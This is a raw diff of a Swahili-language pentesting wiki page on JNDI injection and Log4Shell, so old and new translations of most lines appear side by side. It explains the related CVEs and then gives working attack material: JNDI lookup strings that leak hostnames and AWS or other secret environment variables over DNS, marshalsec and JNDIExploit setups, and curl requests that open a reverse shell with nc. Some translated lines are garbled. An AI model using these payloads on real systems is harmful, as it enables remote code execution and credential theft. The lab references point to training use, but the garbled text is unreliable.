Mshambuliaji anaweza kuweka sumu kwenye rekodi za LDAP kwa kuingiza mizigo ambayo itatekelezwa kwenye mifumo inayokusanya (yenye manufaa sana kwa **kuambukiza mashine kumi** ikiwa una ufikio wa seva ya LDAP). Njia nyingine ya kutumia hii ni kufanya **shambulio la MitM katika utafutaji wa LDAP** kwa mfano.
|
Mshambuliaji anaweza kuweka sumu kwenye rekodi za LDAP zikiingiza mizigo ambayo itatekelezwa kwenye mifumo inayokusanya (yenye manufaa sana kwa **kuambukiza mashine kumi** ikiwa una ufikio wa seva ya LDAP). Njia nyingine ya kutumia hii ni kufanya **shambulio la MitM katika utafutaji wa LDAP** kwa mfano.
|
||||||
|
|
||||||
Ikiwa unaweza **kuwezesha programu kutatua URL ya JNDI LDAP**, unaweza kudhibiti LDAP itakayotafutwa, na unaweza kurudisha shambulio (log4shell).
|
Ikiwa unaweza **kuwezesha programu kutatua URL ya JNDI LDAP**, unaweza kudhibiti LDAP itakayotafutwa, na unaweza kurudisha shambulio (log4shell).
|
||||||
|
|
||||||
|
@ -85,9 +93,9 @@ Ikiwa unaweza **kuwezesha programu kutatua URL ya JNDI LDAP**, unaweza kudhibiti
|
||||||
![](<../../.gitbook/assets/image (654) (1) (1) (1).png>)
|
![](<../../.gitbook/assets/image (654) (1) (1) (1).png>)
|
||||||
|
|
||||||
**Shambulio limeorodheshwa** na litadeserialishwa.\
|
**Shambulio limeorodheshwa** na litadeserialishwa.\
|
||||||
Ikiwa `trustURLCodebase` ni `kweli`, mshambuliaji anaweza kutoa darasa zake mwenyewe kwenye codebase failure, atahitaji kutumia vipengee katika njia ya darasa.
|
Ikiwa `trustURLCodebase` ni `kweli`, mshambuliaji anaweza kutoa darasa zake mwenyewe kwenye codebase failure, atahitaji kutumia vitu vya kifaa katika njia ya darasa.
|
||||||
|
|
||||||
#### Shambulio la Marejeleo ya JNDI
|
#### Shambulio la Kumbukumbu ya JNDI
|
||||||
|
|
||||||
Ni rahisi kushambulia LDAP hii kwa kutumia **marejeleo ya JavaFactory**:
|
Ni rahisi kushambulia LDAP hii kwa kutumia **marejeleo ya JavaFactory**:
|
||||||
|
|
||||||
|
@ -95,26 +103,26 @@ Ni rahisi kushambulia LDAP hii kwa kutumia **marejeleo ya JavaFactory**:
|
||||||
|
|
||||||
## Udhaifu wa Log4Shell
|
## Udhaifu wa Log4Shell
|
||||||
|
|
||||||
Udhaifu unajitokeza katika Log4j kwa sababu inasaidia [**sintaksia maalum**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) katika mfumo wa `${prefix:jina}` ambapo `prefix` ni moja ya [**Utafutaji**](https://logging.apache.org/log4j/2.x/manual/lookups.html) tofauti ambapo `jina` linapaswa kuhesabiwa. Kwa mfano, `${java:version}` ni toleo linalotumika la Java.
|
Udhaifu unatokana na Log4j kwa sababu inasaidia [**sintaksia maalum**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) katika fomu ya `${prefix:jina}` ambapo `prefix` ni moja ya [**Utafutaji**](https://logging.apache.org/log4j/2.x/manual/lookups.html) tofauti ambapo `jina` inapaswa kuhesabiwa. Kwa mfano, `${java:version}` ni toleo linalotumika la Java.
|
||||||
|
|
||||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ilileta kipengele cha Utafutaji wa `jndi`. Kipengele hiki kinawezesha kupata vipengele kupitia JNDI. Kwa kawaida, ufunguo unapewa kiotomatiki kifungwa na `java:comp/env/`. Walakini, ikiwa ufunguo wenyewe una **":"**, kifungwa cha chaguo-msingi hakihusishwi.
|
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ilileta kipengele cha Utafutaji wa `jndi`. Kipengele hiki kinawezesha kupata vipengele kupitia JNDI. Kawaida, ufunguo unapewa kiotomatiki kifungwa na `java:comp/env/`. Walakini, ikiwa ufunguo wenyewe una **":"**, kifungwa cha chaguo-msingi hakihusishwi.
|
||||||
|
|
||||||
Kwa kuwa kuna **: kwenye ufunguo**, kama katika `${jndi:ldap://mfano.com/a}` hakuna kifungwa na **seva ya LDAP inaulizwa kwa kipengee**. Na Utafutaji huu unaweza kutumika katika usanidi wa Log4j pamoja na wakati mistari inalogiwa.
|
Kwa kuwa kuna **: kwenye ufunguo**, kama katika `${jndi:ldap://mfano.com/a}` hakuna kifungwa na **seva ya LDAP inaulizwa kwa kipengee**. Na Utafutaji huu unaweza kutumika katika usanidi wa Log4j pamoja na wakati mistari inalogiwa.
|
||||||
|
|
||||||
Kwa hivyo, kitu pekee kinachohitajika kupata RCE ni **toleo lenye udhaifu la Log4j linaloprocess habari inayodhibitiwa na mtumiaji**. Na kwa kuwa hii ni maktaba inayotumiwa sana na programu za Java kwa kurekodi habari (pamoja na programu za mtandao) ilikuwa kawaida kuwa na log4j inayorekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Walakini, log4j **haitumiki kurekodi habari za HTTP pekee bali kuingiza yoyote** na data ambayo mwandishi ameonyesha.
|
Kwa hivyo, kitu pekee kinachohitajika kupata RCE ni **toleo lenye udhaifu la Log4j linaloprocess habari inayodhibitiwa na mtumiaji**. Na kwa kuwa hii ni maktaba inayotumiwa sana na programu za Java kwa kurekodi habari (pamoja na programu za mtandao) ilikuwa kawaida kuwa na log4j inayorekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Walakini, log4j **haitumiki kurekodi habari za HTTP pekee bali kuingiza** na data yoyote iliyoonyeshwa na mwandishi.
|
||||||
## Muhtasari wa CVE zinazohusiana na Log4Shell
|
## Muhtasari wa CVE zinazohusiana na Log4Shell
|
||||||
|
|
||||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Kali]**
|
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Kali]**
|
||||||
|
|
||||||
Udhaifu huu ni kasoro muhimu ya **deserialization isiyotegemewa** katika sehemu ya `log4j-core`, ikiaathiri toleo kutoka 2.0-beta9 hadi 2.14.1. Inaruhusu **utekelezaji wa nambari kwa mbali (RCE)**, ikiruhusu wachomaji kuchukua udhibiti wa mifumo. Shida hiyo ilitolewa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na inaathiri fremu mbalimbali za Apache. Mwisho wa awali katika toleo 2.15.0 ulikuwa haujakamilika. Sheria za Sigma kwa ulinzi zinapatikana ([Sheria 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Sheria 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
|
Udhaifu huu ni kasoro muhimu ya **deserialization isiyotegemewa** katika sehemu ya `log4j-core`, ikiaathiri toleo kutoka 2.0-beta9 hadi 2.14.1. Inaruhusu **utekelezaji wa nambari kwa mbali (RCE)**, ikiruhusu wachomaji kuchukua udhibiti wa mifumo. Shida ilitolewa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na inaathiri fremu mbalimbali za Apache. Mwisho wa awali katika toleo 2.15.0 ulikuwa haujakamilika. Sheria za Sigma kwa ulinzi zinapatikana ([Sheria 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Sheria 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
|
||||||
|
|
||||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Kali]**
|
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Kali]**
|
||||||
|
|
||||||
Awali ilipewa kiwango cha chini lakini baadaye ikaboreshwa kuwa kali, CVE hii ni kasoro ya **Kukataa Huduma (DoS)** inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri mipangilio isiyokuwa ya msingi, ikiruhusu wachomaji kusababisha mashambulizi ya DoS kupitia malipo yaliyoundwa kwa ustadi. [Tweets](https://twitter.com/marcioalm/status/1471740771581652995) inaonyesha njia ya kuzidi. Shida hiyo imepatuliwa katika toleo 2.16.0 na 2.12.2 kwa kuondoa mifano ya kutafuta ujumbe na kulemaza JNDI kwa chaguo-msingi.
|
Awali ilipewa kiwango cha chini lakini baadaye ikaboreshwa kuwa kali, CVE hii ni kasoro ya **Kukataa Huduma (DoS)** inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri mipangilio isiyokuwa ya msingi, ikiruhusu wachomaji kusababisha mashambulizi ya DoS kupitia malipo yaliyoundwa kwa ustadi. [Ujumbe wa Twitter](https://twitter.com/marcioalm/status/1471740771581652995) unaonyesha njia ya kuzidi. Shida imepatuliwa katika toleo 2.16.0 na 2.12.2 kwa kuondoa mifano ya kutafuta ujumbe na kulemaza JNDI kwa chaguo-msingi.
|
||||||
|
|
||||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Juuyu]**
|
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Juuyu]**
|
||||||
|
|
||||||
Ikiathiri **matoleo ya Log4j 1.x** katika mipangilio isiyokuwa ya msingi kutumia `JMSAppender`, CVE hii ni kasoro ya deserialization isiyotegemewa. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo ni mwisho wa maisha, na inapendekezwa kuboresha hadi `log4j-core 2.17.0`.
|
Ikiathiri **matoleo ya Log4j 1.x** katika mipangilio isiyokuwa ya msingi inayotumia `JMSAppender`, CVE hii ni kasoro ya deserialization isiyotegemewa. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo ni mwisho wa maisha, na inapendekezwa kuboresha hadi `log4j-core 2.17.0`.
|
||||||
|
|
||||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Wastani]**
|
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Wastani]**
|
||||||
|
|
||||||
|
@ -126,7 +134,7 @@ Log4j 2.16.0 ina kasoro ya DoS, ikichochea kutolewa kwa `log4j 2.17.0` kusahihis
|
||||||
|
|
||||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||||
|
|
||||||
Ikiathiri toleo la log4j 2.17, CVE hii inahitaji mshambuliaji kudhibiti faili ya usanidi wa log4j. Inahusisha utekelezaji wa nambari za uwezekano kupitia JDBCAppender iliyosanidiwa. Maelezo zaidi yanapatikana katika [chapisho cha blogi ya Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
Ikiathiri toleo la log4j 2.17, CVE hii inahitaji mchomaji kudhibiti faili ya usanidi wa log4j. Inahusisha utekelezaji wa nambari za ujanja kupitia JDBCAppender iliyosanidiwa. Maelezo zaidi yanapatikana katika [chapisho cha blogi ya Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||||
|
|
||||||
## Uchunguzi wa Utekaji wa Log4Shell
|
## Uchunguzi wa Utekaji wa Log4Shell
|
||||||
|
|
||||||
|
@ -140,7 +148,7 @@ Udhaifu huu ni rahisi sana kugundua ikiwa haujalindwa kwa sababu itatuma angalau
|
||||||
* `${jndi:ldap://2j4ayo.dnslog.cn}` (ikitumia [dnslog](http://dnslog.cn))
|
* `${jndi:ldap://2j4ayo.dnslog.cn}` (ikitumia [dnslog](http://dnslog.cn))
|
||||||
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (ikitumia [huntress](https://log4shell.huntress.com))
|
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (ikitumia [huntress](https://log4shell.huntress.com))
|
||||||
|
|
||||||
Tafadhali kumbuka **hata kama ombi la DNS linapokelewa haimaanishi programu inaweza kutumiwa** (au hata kuwa na udhaifu), utahitaji jaribu kuitumia.
|
Tafadhali kumbuka **hata kama ombi la DNS linapokelewa haimaanishi kuwa programu inaweza kutumiwa** (au hata kuwa na udhaifu), utahitaji kujaribu kutumia.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Kumbuka kwamba kwa **kutumia toleo 2.15** unahitaji kuongeza **kizuizi cha ukaguzi wa localhost**: ${jndi:ldap://**127.0.0.1#**...}
|
Kumbuka kwamba kwa **kutumia toleo 2.15** unahitaji kuongeza **kizuizi cha ukaguzi wa localhost**: ${jndi:ldap://**127.0.0.1#**...}
|
||||||
|
@ -154,16 +162,15 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[
|
||||||
```
|
```
|
||||||
### **Uhakiki**
|
### **Uhakiki**
|
||||||
|
|
||||||
Baadhi ya majukwaa yaliyoorodheshwa hapo awali itakuruhusu kuweka data ya kubadilika ambayo itaorodheshwa wakati inapoombwa.\
|
Baadhi ya majukwaa yaliyoorodheshwa hapo awali itakuruhusu kuweka data ya kubadilika ambayo itaorodheshwa wakati inahitajika. Hii inaweza kuwa na manufaa sana kwa mambo 2:
|
||||||
Hii inaweza kuwa na manufaa sana kwa mambo 2:
|
|
||||||
|
|
||||||
* Kwa ajili ya **kuthibitisha** udhaifu
|
* Kwa ajili ya **kuthibitisha** udhaifu
|
||||||
* Kwa ajili ya **kuvuja kwa habari** kwa kutumia udhaifu
|
* Kwa ajili ya **kuvuja taarifa** kwa kutumia udhaifu
|
||||||
|
|
||||||
Kwa mfano unaweza kuomba kitu kama:\
|
Kwa mfano, unaweza kuomba kitu kama:\
|
||||||
au kama `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** na ikiwa **ombi la DNS linapokelewa na thamani ya variable ya mazingira**, unajua programu ina udhaifu.
|
au kama `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** na ikiwa **ombi la DNS linapokelewa na thamani ya mazingira**, unajua programu ina udhaifu.
|
||||||
|
|
||||||
Maelezo mengine unayoweza kujaribu **kuvuja**:
|
Taarifa nyingine unaweza kujaribu **kuvuja**:
|
||||||
```
|
```
|
||||||
${env:AWS_ACCESS_KEY_ID}
|
${env:AWS_ACCESS_KEY_ID}
|
||||||
${env:AWS_CONFIG_FILE}
|
${env:AWS_CONFIG_FILE}
|
||||||
|
@ -217,22 +224,22 @@ Any other env variable name that could store sensitive information
|
||||||
### Taarifa za RCE
|
### Taarifa za RCE
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Wahudumu wanaotumia toleo la JDK zaidi ya 6u141, 7u131, au 8u121 wamekingwa dhidi ya mwelekeo wa shambulio la upakiaji wa darasa la LDAP. Hii ni kutokana na kulegezwa kwa chaguo la msingi la `com.sun.jndi.ldap.object.trustURLCodebase`, ambayo inazuia JNDI kutoa mzigo wa kijijini kupitia LDAP. Hata hivyo, ni muhimu kufahamu kwamba toleo hizi **hazilindwi dhidi ya mwelekeo wa shambulio la udeserialishaji**.
|
Wahudumu wanaotumia toleo la JDK zaidi ya 6u141, 7u131, au 8u121 wamekingwa dhidi ya mwelekeo wa shambulio la upakiaji wa darasa la LDAP. Hii ni kutokana na kulegezwa kwa chaguo la msingi la `com.sun.jndi.ldap.object.trustURLCodebase`, ambayo inazuia JNDI kutoa mzigo wa kikodisho cha mbali kupitia LDAP. Hata hivyo, ni muhimu kufahamu kwamba toleo hizi **hazilindwi dhidi ya mwelekeo wa shambulio la udeserialishaji**.
|
||||||
|
|
||||||
Kwa wachomaji wanaolenga kutumia toleo hizi za JDK za juu, ni muhimu kutumia **kifaa cha kubahatisha** ndani ya programu ya Java. Zana kama ysoserial au JNDIExploit mara nyingi hutumiwa kwa lengo hili. Kinyume chake, kuchomwa kwa toleo za chini za JDK ni rahisi zaidi kwani toleo hizi zinaweza kubadilishwa ili kupakia na kutekeleza darasa lolote.
|
Kwa wachomaji wanaolenga kutumia toleo hizi za JDK za juu, ni muhimu kutumia **kifaa cha kuaminika** ndani ya programu ya Java. Zana kama ysoserial au JNDIExploit mara nyingi hutumiwa kwa lengo hili. Kinyume chake, kuchomwa kwa toleo za chini za JDK ni rahisi zaidi kwani toleo hizi zinaweza kubadilishwa ili kupakia na kutekeleza darasa lolote.
|
||||||
|
|
||||||
Kwa **taarifa zaidi** (_kama vikwazo kwenye mwelekeo wa RMI na CORBA_) **angalia sehemu ya Marejeleo ya Kutaja Jina la JNDI iliyopita** au [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
Kwa **taarifa zaidi** (_kama vikwazo kwenye mwelekeo wa RMI na CORBA_) **angalia sehemu ya Marejeleo ya Kutaja Jina ya JNDI iliyopita** au [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### RCE - Marshalsec na mzigo wa desturi
|
### RCE - Marshalsec na mzigo wa desturi
|
||||||
|
|
||||||
Unaweza kujaribu hili kwenye **kisanduku cha THM:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
Unaweza kujaribu hii kwenye **kisanduku cha THM:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||||
|
|
||||||
Tumia zana [**marshalsec**](https://github.com/mbechler/marshalsec) (jar toleo linapatikana [**hapa**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hatua hii inathibitisha seva ya rufaa ya LDAP kuelekeza mawasiliano kwenye seva ya HTTP ya pili ambapo shambulio litahifadhiwa:
|
Tumia zana [**marshalsec**](https://github.com/mbechler/marshalsec) (toleo la jar linalopatikana [**hapa**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hatua hii inathibitisha seva ya rufaa ya LDAP kuelekeza mawasiliano kwenye seva ya HTTP ya pili ambapo shambulio litahifadhiwa:
|
||||||
```bash
|
```bash
|
||||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||||||
```
|
```
|
||||||
Ili kumshawishi lengo kuchukua msimbo wa kitanzi cha nyuma, tengeneza faili ya Java iliyoitwa `Exploit.java` na yaliyomo hapa chini:
|
Ili kumshawishi lengo kuchukue nambari ya kugeuza, tengeneza faili ya Java iliyoitwa `Exploit.java` na yaliyomo hapa chini:
|
||||||
```java
|
```java
|
||||||
public class Exploit {
|
public class Exploit {
|
||||||
static {
|
static {
|
||||||
|
@ -246,7 +253,7 @@ e.printStackTrace();
|
||||||
```
|
```
|
||||||
Kamilisha faili ya Java kuwa faili ya darasa kwa kutumia: `javac Exploit.java -source 8 -target 8`. Kisha anzisha **server ya HTTP** katika saraka inayohifadhi faili ya darasa kwa kutumia: `python3 -m http.server`. Hakikisha **server ya LDAP ya marshalsec** inahusisha server ya HTTP hii.
|
Kamilisha faili ya Java kuwa faili ya darasa kwa kutumia: `javac Exploit.java -source 8 -target 8`. Kisha anzisha **server ya HTTP** katika saraka inayohifadhi faili ya darasa kwa kutumia: `python3 -m http.server`. Hakikisha **server ya LDAP ya marshalsec** inahusisha server ya HTTP hii.
|
||||||
|
|
||||||
Chokoza utekelezaji wa darasa la exploit kwenye server ya wavuti inayoweza kudhurika kwa kutuma mzigo unaofanana na:
|
Chochote kile kinachofanana na:
|
||||||
```bash
|
```bash
|
||||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||||
```
|
```
|
||||||
|
@ -260,7 +267,7 @@ Tafadhali elewa kwamba kwa sababu fulani mwandishi aliiondoa mradi huu kutoka gi
|
||||||
Zaidi ya hayo, huwezi kupata msimbo wa chanzo kwenye wayback machine, hivyo chambua msimbo wa chanzo, au tekeleza jar ukiwa na ufahamu kwamba hujui unachotekeleza.
|
Zaidi ya hayo, huwezi kupata msimbo wa chanzo kwenye wayback machine, hivyo chambua msimbo wa chanzo, au tekeleza jar ukiwa na ufahamu kwamba hujui unachotekeleza.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Kwa mfano huu unaweza tu kuendesha **mtandao huu wenye udhaifu wa log4shell** kwenye bandari 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_kwenye README utapata jinsi ya kuendesha_). Programu hii yenye udhaifu inalogi kwa kutumia toleo lenye udhaifu la log4shell maudhui ya kichwa cha ombi la HTTP _X-Api-Version_.
|
Kwa mfano huu unaweza tu kuendesha **mtandao huu wenye udhaifu wa log4shell** kwenye bandari 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_katika README utapata jinsi ya kuendesha_). Programu hii yenye udhaifu inalogi na toleo lenye udhaifu la log4shell maudhui ya kichwa cha ombi la HTTP _X-Api-Version_.
|
||||||
|
|
||||||
Kisha, unaweza kupakua faili ya jar ya **JNDIExploit** na kuitekeleza kwa:
|
Kisha, unaweza kupakua faili ya jar ya **JNDIExploit** na kuitekeleza kwa:
|
||||||
```bash
|
```bash
|
||||||
|
@ -269,9 +276,9 @@ unzip JNDIExploit.v1.2.zip
|
||||||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||||
```
|
```
|
||||||
Baada ya kusoma nambari kwa dakika chache tu, katika _com.feihong.ldap.LdapServer_ na _com.feihong.ldap.HTTPServer_ unaweza kuona jinsi **seva za LDAP na HTTP zinavyoundwa**. Seva ya LDAP itaelewa ni mzigo gani unahitaji kutumikia na itamwongoza muathiriwa kwenye seva ya HTTP, ambayo itatumikia shambulio.\
|
Baada ya kusoma nambari kwa dakika chache tu, katika _com.feihong.ldap.LdapServer_ na _com.feihong.ldap.HTTPServer_ unaweza kuona jinsi **seva za LDAP na HTTP zinavyoundwa**. Seva ya LDAP itaelewa ni mzigo gani unahitaji kutumikia na itamwongoza muathiriwa kwenye seva ya HTTP, ambayo itatumikia shambulio.\
|
||||||
Katika _com.feihong.ldap.gadgets_ unaweza kupata **gadgets maalum** ambayo yanaweza kutumika kutekeleza hatua inayotakiwa (kimsingi kutekeleza nambari ya kupindukia). Na katika _com.feihong.ldap.template_ unaweza kuona darasa tofauti za templeti ambazo zitakazosaidia **kuzalisha mashambulizi**.
|
Katika _com.feihong.ldap.gadgets_ unaweza kupata **gadgets maalum** ambayo yanaweza kutumika kutekeleza hatua inayotakiwa (kimsingi kutekeleza nambari ya kupindukia). Na katika _com.feihong.ldap.template_ unaweza kuona darasa tofauti za templeti ambazo zit **zitazalisha mashambulizi**.
|
||||||
|
|
||||||
Unaweza kuona mashambulizi yote yanayopatikana kwa kutumia **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Baadhi ya mashambulizi yanayoweza kusaidia ni:
|
Unaweza kuona mashambulizi yote yanayopatikana kwa **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Baadhi ya mashambulizi yanayoweza kusaidia ni:
|
||||||
```bash
|
```bash
|
||||||
ldap://null:1389/Basic/Dnslog/[domain]
|
ldap://null:1389/Basic/Dnslog/[domain]
|
||||||
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
|
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
|
||||||
|
@ -287,13 +294,13 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
|
||||||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
|
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
|
||||||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
|
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
|
||||||
```
|
```
|
||||||
Uponyesho wa mashambulizi utaona baadhi ya matokeo kwenye terminal ambapo ulitekeleza **JNDIExploit-1.2-SNAPSHOT.jar**.
|
Wakati unatuma mashambulizi utaona baadhi ya matokeo kwenye terminal ambapo ulitekeleza **JNDIExploit-1.2-SNAPSHOT.jar**.
|
||||||
|
|
||||||
**Kumbuka kuangalia `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` kwa chaguo zingine za uchimbaji. Zaidi ya hayo, kwa hali unayohitaji, unaweza kubadilisha bandari ya seva za LDAP na HTTP.**
|
**Kumbuka kuangalia `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` kwa chaguo zingine za uchomaji. Zaidi ya hayo, kama unahitaji, unaweza kubadilisha bandari ya seva za LDAP na HTTP.**
|
||||||
|
|
||||||
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||||||
|
|
||||||
Kwa njia kama ile ya shambulizi lililopita, unaweza kujaribu kutumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuchimba udhaifu huu.\
|
Kwa njia kama ile ya uchomaji uliopita, unaweza kujaribu kutumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuchexploit udhaifu huu.\
|
||||||
Unaweza kuzalisha URL za kutuma kwa muathiriwa kwa kukimbia:
|
Unaweza kuzalisha URL za kutuma kwa muathiriwa kwa kukimbia:
|
||||||
```bash
|
```bash
|
||||||
# Get reverse shell in port 4444 (only unix)
|
# Get reverse shell in port 4444 (only unix)
|
||||||
|
@ -302,24 +309,24 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
||||||
# Execute command
|
# Execute command
|
||||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||||
```
|
```
|
||||||
_Kushambulia hii kutumia kitu cha Java kilichotengenezwa kwa kawaida kitafanya kazi katika maabara kama **chumba cha jua cha THM**. Walakini, hii kwa kawaida haitafanya kazi (kwa sababu kwa chaguo-msingi Java haijaundwa kwa kusoma msimbo wa mbali kwa kutumia LDAP) nadhani kwa sababu haichukui darasa lililoaminika kutekeleza msimbo wowote kiholela._
|
_Kushambulia hii kutumia kitu cha Java kilichotengenezwa kwa kawaida kitafanya kazi katika maabara kama **chumba cha jua cha THM**. Walakini, hii kwa kawaida haitafanya kazi (kwa sababu kwa chaguo-msingi Java haijaundwa kwa ajili ya kupakia msingi wa kanuni kutumia LDAP) nadhani kwa sababu haikosi kutumia darasa lililoidhinishwa kutekeleza kanuni za kupindukia._
|
||||||
|
|
||||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||||
|
|
||||||
Chaguo hili ni muhimu sana kushambulia **toleo la Java lililojulishwa kuamini darasa maalum na sio kila mtu**. Kwa hivyo, **ysoserial** itatumika kutengeneza **serializations za darasa zilizoaminika** ambazo zinaweza kutumika kama vifaa vya **kutekeleza msimbo kiholela** (_darasa lililoaminika lililoshambuliwa na ysoserial lazima litumiwe na programu ya Java ya mwathiriwa ili shambulio lifanye kazi_).
|
Chaguo hili ni muhimu sana kushambulia **toleo la Java lililojengwa kwa kudhamini darasa maalum na sio kila mtu**. Kwa hivyo, **ysoserial** itatumika kutengeneza **uwekaji wa darasa za kuaminika** ambazo zinaweza kutumika kama vifaa vya **kutekeleza kanuni za kupindukia** (_darasa lililoidhinishwa na ysoserial lazima litumiwe na programu ya Java ya mwathiriwa ili shambulio lifanye kazi_).
|
||||||
|
|
||||||
Kwa kutumia **ysoserial** au [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) unaweza kuunda shambulio la deserialization ambalo litapakuliwa na JNDI:
|
Kwa kutumia **ysoserial** au [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) unaweza kuunda shambulio la uwekaji wa deserialization ambalo litapakuliwa na JNDI:
|
||||||
```bash
|
```bash
|
||||||
# Rev shell via CommonsCollections5
|
# Rev shell via CommonsCollections5
|
||||||
